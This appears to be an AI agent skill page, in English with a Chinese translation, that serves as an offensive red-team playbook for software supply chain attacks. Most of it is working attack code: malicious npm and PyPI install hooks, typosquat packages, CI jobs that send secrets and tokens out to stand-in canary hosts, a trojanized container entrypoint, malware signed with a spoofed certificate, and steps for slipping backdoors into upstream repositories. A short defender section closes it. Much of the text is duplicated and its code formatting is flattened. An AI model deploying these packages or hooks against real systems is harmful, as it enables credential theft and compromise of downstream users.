offensive-supply-chain

Compare original and translation side by side

🇺🇸

Original

English
🇨🇳

Translation

Chinese

Offensive Supply Chain Attacks

攻击性供应链攻击

Software supply chain attacks exploit the trust relationships between developers, package registries, build systems, and deployment pipelines. You target the components and processes that organizations depend on but rarely audit with the same rigor as their own code. A single compromised dependency can propagate across thousands of downstream consumers, making supply chain the highest leverage attack surface in modern software ecosystems.
This skill covers the offensive lifecycle: reconnaissance of internal package names, exploitation of registry resolution logic, build system hook abuse, CI/CD pipeline tampering, and container image supply chain attacks. Every technique maps to authorized red team engagement patterns with safe callback mechanisms.
软件供应链攻击利用开发者、包 registry、构建系统和部署流水线之间的信任关系。 攻击目标是组织所依赖、但很少像审查自身代码那样严格审计的组件和流程。 单个受损依赖即可传播到数千名下游消费者,使供应链成为现代软件生态系统中 杠杆效应最高的攻击面。
本 skill 涵盖完整的攻击生命周期:侦察内部包名、利用 registry 解析逻辑、滥用构建 hook、篡改 CI/CD 流水线,以及发起容器镜像供应链攻击。每项技术均对应经授权的 红队行动模式,并采用安全的 callback 机制。

Quick Workflow

快速工作流

  1. Enumerate internal package names from target artifacts (lock files, source maps, error messages, GitHub repos).
  2. Identify the package ecosystem (npm, PyPI, NuGet, Maven, Go, Ruby) and registry configuration.
  3. Select attack vector: dependency confusion, typosquatting, build hook injection, CI/CD tampering, or container supply chain.
  4. Prepare a safe proof-of-concept package with DNS canary or HTTP callback -- no destructive payload.
  5. Register the package on the public registry or stage the artifact for injection.
  6. Monitor for callback to confirm execution in the target environment.
  7. Document the attack path, affected systems, and remediation guidance.

  1. 从目标制品(lock 文件、source map、错误消息、GitHub 仓库)枚举内部包名。
  2. 识别包生态系统(npm、PyPI、NuGet、Maven、Go、Ruby)及 registry 配置。
  3. 选择攻击向量:依赖混淆、拼写仿冒、构建 hook 注入、CI/CD 篡改或容器供应链攻击。
  4. 准备带有 DNS canary 或 HTTP callback 的安全 PoC 包——不包含破坏性 payload。
  5. 在公共 registry 注册该包,或暂存制品以供注入。
  6. 监控 callback,确认其在目标环境中执行。
  7. 记录攻击路径、受影响系统和修复建议。

Dependency Confusion

依赖混淆

Dependency confusion exploits the resolution order when an organization uses both private and public package registries. If the private registry is not configured as the exclusive source, the package manager may prefer a higher-versioned public package over the internal one.
当组织同时使用私有和公共包 registry 时,依赖混淆会利用解析顺序。如果未将私有 registry 配置为唯一来源,包管理器可能优先选择版本更高的公共包,而非内部包。

npm Dependency Confusion

npm 依赖混淆

When a project references an unscoped private package and the .npmrc does not pin the registry exclusively, npm falls back to the public registry.
bash
undefined
当项目引用未加 scope 的私有包,且 .npmrc 未将 registry 固定为唯一来源时, npm 会回退到公共 registry。
bash
undefined

Recon: extract package names from package-lock.json or yarn.lock

Recon: extract package names from package-lock.json or yarn.lock

cat package-lock.json | jq -r '.dependencies | keys[]' | sort -u > pkg_names.txt
cat package-lock.json | jq -r '.dependencies | keys[]' | sort -u > pkg_names.txt

Check which names are unclaimed on the public npm registry

Check which names are unclaimed on the public npm registry

while read pkg; do status=$(curl -s -o /dev/null -w "%{http_code}" "https://registry.npmjs.org/$pkg") if [ "$status" = "404" ]; then echo "[AVAILABLE] $pkg" fi done < pkg_names.txt

```json
// Malicious package.json with high version to win resolution
{
  "name": "internal-utils",
  "version": "99.0.0",
  "scripts": {
    "preinstall": "curl https://your-canary.oastify.com/npm-$(hostname)-$(whoami)"
  }
}
while read pkg; do status=$(curl -s -o /dev/null -w "%{http_code}" "https://registry.npmjs.org/$pkg") if [ "$status" = "404" ]; then echo "[AVAILABLE] $pkg" fi done < pkg_names.txt

```json
// Malicious package.json with high version to win resolution
{
  "name": "internal-utils",
  "version": "99.0.0",
  "scripts": {
    "preinstall": "curl https://your-canary.oastify.com/npm-$(hostname)-$(whoami)"
  }
}

PyPI Dependency Confusion

PyPI 依赖混淆

Python's pip resolves packages from PyPI by default. When organizations use
--extra-index-url
to add a private registry, pip considers both indexes and selects the highest version.
bash
undefined
Python 的 pip 默认从 PyPI 解析包。当组织使用
--extra-index-url
添加私有 registry 时,pip 会同时考虑两个索引并选择最高版本。
bash
undefined

Recon: extract internal package names from requirements.txt or setup.cfg

Recon: extract internal package names from requirements.txt or setup.cfg

grep -v '^#' requirements.txt | grep -v '^\s*$' |
sed 's/[>=<].//' | sed 's/[.//' | tr -d ' ' > pypi_names.txt
grep -v '^#' requirements.txt | grep -v '^\s*$' |
sed 's/[>=<].//' | sed 's/[.//' | tr -d ' ' > pypi_names.txt

Check availability on public PyPI

Check availability on public PyPI

while read pkg; do status=$(curl -s -o /dev/null -w "%{http_code}" "https://pypi.org/pypi/$pkg/json") if [ "$status" = "404" ]; then echo "[AVAILABLE] $pkg" fi done < pypi_names.txt

```python
while read pkg; do status=$(curl -s -o /dev/null -w "%{http_code}" "https://pypi.org/pypi/$pkg/json") if [ "$status" = "404" ]; then echo "[AVAILABLE] $pkg" fi done < pypi_names.txt

```python

setup.py with install hook for safe callback

setup.py with install hook for safe callback

from setuptools import setup from setuptools.command.install import install import os, socket, urllib.request
class PostInstall(install): def run(self): install.run(self) hostname = socket.gethostname() user = os.getenv("USER", "unknown") urllib.request.urlopen( f"https://your-canary.oastify.com/pypi-{hostname}-{user}" )
setup( name="internal-data-lib", version="99.0.0", cmdclass={"install": PostInstall}, )
undefined
from setuptools import setup from setuptools.command.install import install import os, socket, urllib.request
class PostInstall(install): def run(self): install.run(self) hostname = socket.gethostname() user = os.getenv("USER", "unknown") urllib.request.urlopen( f"https://your-canary.oastify.com/pypi-{hostname}-{user}" )
setup( name="internal-data-lib", version="99.0.0", cmdclass={"install": PostInstall}, )
undefined

NuGet Feed Priority

NuGet Feed 优先级

NuGet resolves from multiple configured feeds. If a private feed is listed alongside nuget.org, the highest version across all feeds wins.
xml
<!-- nuget.config exposing the vulnerability -->
<configuration>
  <packageSources>
    <add key="nuget.org" value="https://api.nuget.org/v3/index.json" />
    <add key="internal" value="https://pkgs.corp.example.com/nuget/v3/index.json" />
  </packageSources>
</configuration>
bash
undefined
NuGet 会从多个已配置的 feed 中解析包。如果私有 feed 与 nuget.org 一同列出, 则所有 feed 中的最高版本胜出。
xml
<!-- nuget.config exposing the vulnerability -->
<configuration>
  <packageSources>
    <add key="nuget.org" value="https://api.nuget.org/v3/index.json" />
    <add key="internal" value="https://pkgs.corp.example.com/nuget/v3/index.json" />
  </packageSources>
</configuration>
bash
undefined

Check NuGet public registry for unclaimed names

Check NuGet public registry for unclaimed names

Empty or 404 means the name is available

Empty or 404 means the name is available

undefined
undefined

Automated Scanning with confused

使用 confused 进行自动化扫描

bash
undefined
bash
undefined

Install confused (Go-based dependency confusion scanner)

Install confused (Go-based dependency confusion scanner)

go install github.com/visma-prodsec/confused@latest
go install github.com/visma-prodsec/confused@latest

Scan npm lock file for confusable packages

Scan npm lock file for confusable packages

confused -l npm package-lock.json
confused -l npm package-lock.json

Scan Python requirements

Scan Python requirements

confused -l pip requirements.txt
confused -l pip requirements.txt

Scan NuGet packages.config

Scan NuGet packages.config

confused -l nuget packages.config

---
confused -l nuget packages.config

---

Typosquatting Attacks

拼写仿冒攻击

Typosquatting relies on developers mistyping package names during installation. You register packages with names that are common misspellings, hyphen/underscore variants, or pluralization differences of popular packages.
bash
undefined
拼写仿冒攻击(Typosquatting)依赖开发者在安装时输错包名。攻击者注册与热门包 名称相近的包,常见形式包括常见拼写错误、连字符/下划线变体或单复数差异。
bash
undefined

Generate typosquat candidates for a target package

Generate typosquat candidates for a target package

target="requests" echo "${target}s" echo "${target}1" echo "${target}-python" echo "python-${target}" echo "${target/e/3}" echo "${target}lib" echo "${target}-utils"

```python
target="requests" echo "${target}s" echo "${target}1" echo "${target}-python" echo "python-${target}" echo "${target/e/3}" echo "${target}lib" echo "${target}-utils"

```python

setup.py for a typosquat PoC -- safe callback only

setup.py for a typosquat PoC -- safe callback only

from setuptools import setup from setuptools.command.install import install import urllib.request, socket
class Callback(install): def run(self): install.run(self) h = socket.gethostname() urllib.request.urlopen(f"https://canary.example.com/typo-{h}")
setup( name="reqeusts", # common transposition typo version="2.31.0", description="This is a security research package.", cmdclass={"install": Callback}, python_requires=">=3.6", )

```javascript
// package.json for npm typosquat PoC
{
  "name": "loadash",
  "version": "4.17.21",
  "description": "Security research package - typosquat detection",
  "scripts": {
    "preinstall": "node -e \"require('https').get('https://canary.example.com/npm-typo-' + require('os').hostname())\""
  }
}

from setuptools import setup from setuptools.command.install import install import urllib.request, socket
class Callback(install): def run(self): install.run(self) h = socket.gethostname() urllib.request.urlopen(f"https://canary.example.com/typo-{h}")
setup( name="reqeusts", # common transposition typo version="2.31.0", description="This is a security research package.", cmdclass={"install": Callback}, python_requires=">=3.6", )

```javascript
// package.json for npm typosquat PoC
{
  "name": "loadash",
  "version": "4.17.21",
  "description": "Security research package - typosquat detection",
  "scripts": {
    "preinstall": "node -e \"require('https').get('https://canary.example.com/npm-typo-' + require('os').hostname())\""
  }
}

Build System Attacks

构建系统攻击

Build systems execute arbitrary code during compilation, installation, and packaging. You target the hooks and scripts that run implicitly when a developer builds or installs a dependency.
构建系统会在编译、安装和打包期间执行任意代码。攻击目标是开发者在构建或 安装依赖时隐式运行的 hook 和脚本。

Makefile Injection

Makefile 注入

makefile
undefined
makefile
undefined

Injected target that runs before the default build

Injected target that runs before the default build

.PHONY: all all: backdoor build
backdoor: @curl -s https://canary.example.com/make-$$(hostname) > /dev/null 2>&1
build: gcc -o app main.c
undefined
.PHONY: all all: backdoor build
backdoor: @curl -s https://canary.example.com/make-$$(hostname) > /dev/null 2>&1
build: gcc -o app main.c
undefined

setup.py Install Hooks (Python)

setup.py Install Hook(Python)

python
undefined
python
undefined

setup.py with multiple hook points

setup.py with multiple hook points

from setuptools import setup from setuptools.command.install import install from setuptools.command.develop import develop from setuptools.command.egg_info import egg_info
def callback(): import urllib.request, socket urllib.request.urlopen( f"https://canary.example.com/setup-{socket.gethostname()}" )
class InstallHook(install): def run(self): callback() install.run(self)
class DevelopHook(develop): def run(self): callback() develop.run(self)
class EggInfoHook(egg_info): def run(self): callback() egg_info.run(self)
setup( name="compromised-lib", version="1.0.0", cmdclass={ "install": InstallHook, "develop": DevelopHook, "egg_info": EggInfoHook, }, )
undefined
from setuptools import setup from setuptools.command.install import install from setuptools.command.develop import develop from setuptools.command.egg_info import egg_info
def callback(): import urllib.request, socket urllib.request.urlopen( f"https://canary.example.com/setup-{socket.gethostname()}" )
class InstallHook(install): def run(self): callback() install.run(self)
class DevelopHook(develop): def run(self): callback() develop.run(self)
class EggInfoHook(egg_info): def run(self): callback() egg_info.run(self)
setup( name="compromised-lib", version="1.0.0", cmdclass={ "install": InstallHook, "develop": DevelopHook, "egg_info": EggInfoHook, }, )
undefined

npm postinstall / preinstall Scripts

npm postinstall / preinstall 脚本

json
{
  "name": "compromised-module",
  "version": "1.0.0",
  "scripts": {
    "preinstall": "node callback.js",
    "postinstall": "node callback.js",
    "prepare": "node callback.js"
  }
}
javascript
// callback.js -- safe exfiltration of environment metadata
const https = require('https');
const os = require('os');

const data = JSON.stringify({
  hostname: os.hostname(),
  user: os.userInfo().username,
  platform: os.platform(),
  cwd: process.cwd(),
  env_ci: process.env.CI || "false",
  env_build_id: process.env.BUILD_ID || "none"
});

const req = https.request({
  hostname: 'canary.example.com',
  port: 443,
  path: '/npm-postinstall',
  method: 'POST',
  headers: { 'Content-Type': 'application/json' }
}, () => {});
req.write(data);
req.end();

json
{
  "name": "compromised-module",
  "version": "1.0.0",
  "scripts": {
    "preinstall": "node callback.js",
    "postinstall": "node callback.js",
    "prepare": "node callback.js"
  }
}
javascript
// callback.js -- safe exfiltration of environment metadata
const https = require('https');
const os = require('os');

const data = JSON.stringify({
  hostname: os.hostname(),
  user: os.userInfo().username,
  platform: os.platform(),
  cwd: process.cwd(),
  env_ci: process.env.CI || "false",
  env_build_id: process.env.BUILD_ID || "none"
});

const req = https.request({
  hostname: 'canary.example.com',
  port: 443,
  path: '/npm-postinstall',
  method: 'POST',
  headers: { 'Content-Type': 'application/json' }
}, () => {});
req.write(data);
req.end();

CI/CD Artifact Tampering

CI/CD 制品篡改

CI/CD pipelines produce artifacts -- binaries, container images, packages -- that downstream systems consume with implicit trust. You target the artifact storage, transfer, and verification stages.
CI/CD 流水线会生成下游系统在隐式信任下消费的制品——二进制文件、容器镜像和包。 攻击目标是制品的存储、传输和验证阶段。

GitHub Actions Workflow Injection

GitHub Actions 工作流注入

yaml
undefined
yaml
undefined

Malicious workflow exploiting pull_request_target

Malicious workflow exploiting pull_request_target

name: Build on: pull_request_target: types: [opened, synchronize]
jobs: build: runs-on: ubuntu-latest steps: - uses: actions/checkout@v4 with: ref: ${{ github.event.pull_request.head.sha }} # Attacker-controlled code now runs with repo secrets - run: | curl -s -d "token=${{ secrets.DEPLOY_TOKEN }}"
https://canary.example.com/gha-secrets
undefined
name: Build on: pull_request_target: types: [opened, synchronize]
jobs: build: runs-on: ubuntu-latest steps: - uses: actions/checkout@v4 with: ref: ${{ github.event.pull_request.head.sha }} # Attacker-controlled code now runs with repo secrets - run: | curl -s -d "token=${{ secrets.DEPLOY_TOKEN }}"
https://canary.example.com/gha-secrets
undefined

Artifact Replacement in Storage

存储中的制品替换

bash
undefined
bash
undefined

If artifact storage uses predictable paths or weak auth

If artifact storage uses predictable paths or weak auth

Replace a legitimate build artifact with a trojanized version

Replace a legitimate build artifact with a trojanized version

aws s3 cp trojanized-app.tar.gz s3://build-artifacts/releases/app-latest.tar.gz
aws s3 cp trojanized-app.tar.gz s3://build-artifacts/releases/app-latest.tar.gz

Verify no integrity checks exist

Verify no integrity checks exist

404 -- no checksum published, replacement goes undetected

404 -- no checksum published, replacement goes undetected

undefined
undefined

Pipeline Secret Extraction

流水线 Secret 提取

bash
undefined
bash
undefined

In a compromised CI job, enumerate available secrets

In a compromised CI job, enumerate available secrets

env | grep -iE '(token|secret|key|pass|api)' |
while read line; do curl -s "https://canary.example.com/ci-env?$(echo $line | base64 -w0)" done

---
env | grep -iE '(token|secret|key|pass|api)' |
while read line; do curl -s "https://canary.example.com/ci-env?$(echo $line | base64 -w0)" done

---

Container Image Supply Chain

容器镜像供应链

Container registries and base images form a parallel supply chain. You target the image pull resolution, base image integrity, and registry authentication.
容器 registry 和 base image 构成了并行供应链。攻击目标是镜像拉取解析、 base image 完整性和 registry 身份验证。

Base Image Trojaning

Base Image 木马植入

dockerfile
undefined
dockerfile
undefined

Attacker publishes a trojanized version of a common base image

Attacker publishes a trojanized version of a common base image

FROM ubuntu:22.04
FROM ubuntu:22.04

Inject persistence into the base image

Inject persistence into the base image

RUN apt-get update && apt-get install -y curl &&
echo '#!/bin/bash' > /usr/local/bin/entrypoint-hook.sh &&
echo 'curl -s https://canary.example.com/container-$(hostname) &' >> /usr/local/bin/entrypoint-hook.sh &&
echo 'exec "$@"' >> /usr/local/bin/entrypoint-hook.sh &&
chmod +x /usr/local/bin/entrypoint-hook.sh
ENTRYPOINT ["/usr/local/bin/entrypoint-hook.sh"]
undefined
RUN apt-get update && apt-get install -y curl &&
echo '#!/bin/bash' > /usr/local/bin/entrypoint-hook.sh &&
echo 'curl -s https://canary.example.com/container-$(hostname) &' >> /usr/local/bin/entrypoint-hook.sh &&
echo 'exec "$@"' >> /usr/local/bin/entrypoint-hook.sh &&
chmod +x /usr/local/bin/entrypoint-hook.sh
ENTRYPOINT ["/usr/local/bin/entrypoint-hook.sh"]
undefined

Registry Confusion

Registry 混淆

bash
undefined
bash
undefined

If Dockerfile uses unqualified image names, Docker resolves from Docker Hub

If Dockerfile uses unqualified image names, Docker resolves from Docker Hub

A private registry image "myapp/backend" can be shadowed

A private registry image "myapp/backend" can be shadowed

docker pull myapp/backend # resolves to docker.io/myapp/backend
docker pull myapp/backend # resolves to docker.io/myapp/backend

Attacker registers docker.io/myapp/backend with a trojanized image

Attacker registers docker.io/myapp/backend with a trojanized image

Targets that do not pin their registry prefix pull the attacker image

Targets that do not pin their registry prefix pull the attacker image

undefined
undefined

Image Tag Mutability Attacks

镜像 Tag 可变性攻击

bash
undefined
bash
undefined

Tags are mutable -- attacker with registry write access replaces a tag

Tags are mutable -- attacker with registry write access replaces a tag

Target pulls "myimage:latest" or "myimage:v1.2" and gets the trojanized version

Target pulls "myimage:latest" or "myimage:v1.2" and gets the trojanized version

Verify image digest before and after

Verify image digest before and after

docker inspect --format='{{index .RepoDigests 0}}' myimage:v1.2
docker inspect --format='{{index .RepoDigests 0}}' myimage:v1.2

Compare against known-good digest

Compare against known-good digest

sha256:abc123... vs sha256:def456... indicates tampering

sha256:abc123... vs sha256:def456... indicates tampering


---

---

Code Signing Abuse

代码签名滥用

Code signing provides authenticity guarantees, but the signing infrastructure itself presents attack surface.
bash
undefined
代码签名提供真实性保证,但签名基础设施本身也会形成攻击面。
bash
undefined

Generate a self-signed certificate mimicking a legitimate publisher

Generate a self-signed certificate mimicking a legitimate publisher

openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365
-subj "/CN=Trusted Publisher Inc/O=Trusted Publisher/C=US" -nodes
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365
-subj "/CN=Trusted Publisher Inc/O=Trusted Publisher/C=US" -nodes

Sign a malicious binary (Windows Authenticode example)

Sign a malicious binary (Windows Authenticode example)

osslsigncode sign -certs cert.pem -key key.pem
-n "Legitimate Application" -i https://legitimate-publisher.com
-in malicious.exe -out signed-malicious.exe
osslsigncode sign -certs cert.pem -key key.pem
-n "Legitimate Application" -i https://legitimate-publisher.com
-in malicious.exe -out signed-malicious.exe

Many systems check "is it signed?" but not "by whom?"

Many systems check "is it signed?" but not "by whom?"


```bash

```bash

Steal signing keys from CI/CD environment variables

Steal signing keys from CI/CD environment variables

Common locations for code signing secrets

Common locations for code signing secrets

echo $SIGNING_KEY echo $CODE_SIGN_CERT echo $GPG_PRIVATE_KEY cat ~/.gnupg/private-keys-v1.d/*

---
echo $SIGNING_KEY echo $CODE_SIGN_CERT echo $GPG_PRIVATE_KEY cat ~/.gnupg/private-keys-v1.d/*

---

Upstream Repository Compromise

上游仓库失陷

Compromising the source repository of a widely-used dependency gives you code execution in every downstream consumer that updates.
bash
undefined
失陷广泛使用的依赖的源代码仓库,可以让攻击者在每个更新该依赖的下游消费者中 执行代码。
bash
undefined

Enumerate maintainer accounts with weak security

Enumerate maintainer accounts with weak security

Look for maintainers without 2FA, reused passwords, or abandoned emails

Look for maintainers without 2FA, reused passwords, or abandoned emails

Check npm package maintainers

Check npm package maintainers

npm view lodash maintainers
npm view lodash maintainers

Check GitHub commit signing

Check GitHub commit signing

git log --show-signature -5
git log --show-signature -5

Unsigned commits mean a compromised account can push without detection

Unsigned commits mean a compromised account can push without detection


```bash

```bash

After gaining maintainer access, inject a subtle backdoor

After gaining maintainer access, inject a subtle backdoor

Modify a rarely-reviewed utility function

Modify a rarely-reviewed utility function

git checkout -b patch-perf-improvement
git checkout -b patch-perf-improvement

Edit a deeply nested file

Edit a deeply nested file

Commit with a benign-looking message

Commit with a benign-looking message

git commit -m "perf: optimize string comparison for edge cases" git push origin patch-perf-improvement
git commit -m "perf: optimize string comparison for edge cases" git push origin patch-perf-improvement

Create a PR and merge quickly before review

Create a PR and merge quickly before review


---

---

Detection / Defender View

检测/防御方视角

Defenders should implement the following controls to detect and prevent supply chain attacks:
  1. Registry pinning: Configure package managers to use only the private registry as the exclusive source. For npm, use scoped packages. For pip, use
    --index-url
    (not
    --extra-index-url
    ). For NuGet, use
    <clear />
    before adding feeds.
  2. Lock file integrity: Monitor lock files for unexpected changes in package sources, versions, or checksums. Require lock file review in pull requests.
  3. Build reproducibility: Implement reproducible builds and compare artifacts across independent build environments.
  4. Dependency scanning: Run
    dependency-check
    ,
    npm audit
    ,
    pip-audit
    , or Snyk in CI pipelines to catch known-vulnerable and suspicious packages.
  5. Image pinning: Reference container images by digest, not tag. Use
    image: registry.example.com/app@sha256:abc123...
    instead of
    :latest
    .
  6. Sigstore / cosign: Verify container image signatures and SBOMs. Monitor for unsigned images entering production.
  7. CI/CD hardening: Restrict
    pull_request_target
    triggers, pin action versions by commit SHA, audit workflow permissions, and rotate secrets.
  8. Internal package reservation: Proactively register internal package names on public registries with placeholder packages to prevent squatting.
bash
undefined
防御方应实施以下控制措施,以检测和防止供应链攻击:
  1. Registry 固定:将包管理器配置为仅使用私有 registry 作为唯一来源。对于 npm, 使用 scoped package。对于 pip,使用
    --index-url
    (而非
    --extra-index-url
    )。 对于 NuGet,在添加 feed 前使用
    <clear />
    。
  2. Lock 文件完整性:监控 lock 文件中包来源、版本或校验和的意外变化。 在 pull request 中要求审查 lock 文件。
  3. 构建可复现性:实施可复现构建,并比较独立构建环境生成的制品。
  4. 依赖扫描:在 CI 流水线中运行
    dependency-check
    、
    npm audit
    、
    pip-audit
    或 Snyk,以发现已知存在漏洞及可疑的包。
  5. 镜像固定:通过 digest 而非 tag 引用容器镜像。使用
    image: registry.example.com/app@sha256:abc123...
    ,而不是
    :latest
    。
  6. Sigstore / cosign:验证容器镜像签名和 SBOM。监控进入生产环境的未签名镜像。
  7. CI/CD 加固:限制
    pull_request_target
    触发器,按 commit SHA 固定 action 版本,审计工作流权限,并轮换 secret。
  8. 内部包预留:主动在公共 registry 上注册内部包名,并使用占位包防止抢注。
bash
undefined

Detect dependency confusion attempts with confused

Detect dependency confusion attempts with confused

confused -l npm package-lock.json 2>&1 | grep "could be"
confused -l npm package-lock.json 2>&1 | grep "could be"

Monitor for unexpected outbound DNS/HTTP from build environments

Monitor for unexpected outbound DNS/HTTP from build environments

Alert on connections to unknown domains during install/build phases

Alert on connections to unknown domains during install/build phases

Audit npm packages for install scripts

Audit npm packages for install scripts

npm pack <package> && tar -xzf *.tgz && cat package/package.json | jq '.scripts'

---
npm pack <package> && tar -xzf *.tgz && cat package/package.json | jq '.scripts'

---

Engagement Cheatsheet

行动速查表

PhaseActionRisk Level
ReconExtract internal package names from lock filesLow
ReconCheck public registry availabilityLow
StagingRegister PoC package with DNS canary callbackMedium
ExploitationWait for target to install/build with confusionMedium
ValidationConfirm callback received, document scopeLow
CleanupRemove PoC packages from public registriesLow
ReportingDocument attack path and remediation stepsLow
Safe PoC guidelines:
  • Use DNS canary (Burp Collaborator, interactsh, or custom) for callback.
  • Never deploy destructive payloads. Exfiltrate only hostname and username.
  • Register packages with clear security research descriptions.
  • Remove all PoC packages from public registries within the engagement window.
  • Coordinate with the target's security team before publishing to public registries.
MITRE ATT&CK mapping:
  • T1195.001 -- Compromise Software Dependencies and Development Tools
  • T1195.002 -- Compromise Software Supply Chain
  • T1059.006 -- Command and Scripting Interpreter: Python (setup.py hooks)
  • T1059.007 -- Command and Scripting Interpreter: JavaScript (npm scripts)

阶段操作风险级别
侦察从 lock 文件提取内部包名低
侦察检查公共 registry 中的可用性低
暂存注册带 DNS canary callback 的 PoC 包中
利用等待目标因依赖混淆而执行安装/构建中
验证确认收到 callback,并记录影响范围低
清理从公共 registry 移除 PoC 包低
报告记录攻击路径和修复步骤低
安全 PoC 指南:
  • 使用 DNS canary(Burp Collaborator、interactsh 或自定义)进行 callback。
  • 绝不部署破坏性 payload。仅导出 hostname 和 username。
  • 注册包时使用明确的安全研究描述。
  • 在行动窗口期内从公共 registry 移除所有 PoC 包。
  • 在向公共 registry 发布内容前与目标安全团队协调。
MITRE ATT&CK 映射:
  • T1195.001——攻陷软件依赖和开发工具
  • T1195.002——攻陷软件供应链
  • T1059.006——命令和脚本解释器:Python(setup.py hook)
  • T1059.007——命令和脚本解释器:JavaScript(npm script)

Key References

主要参考资料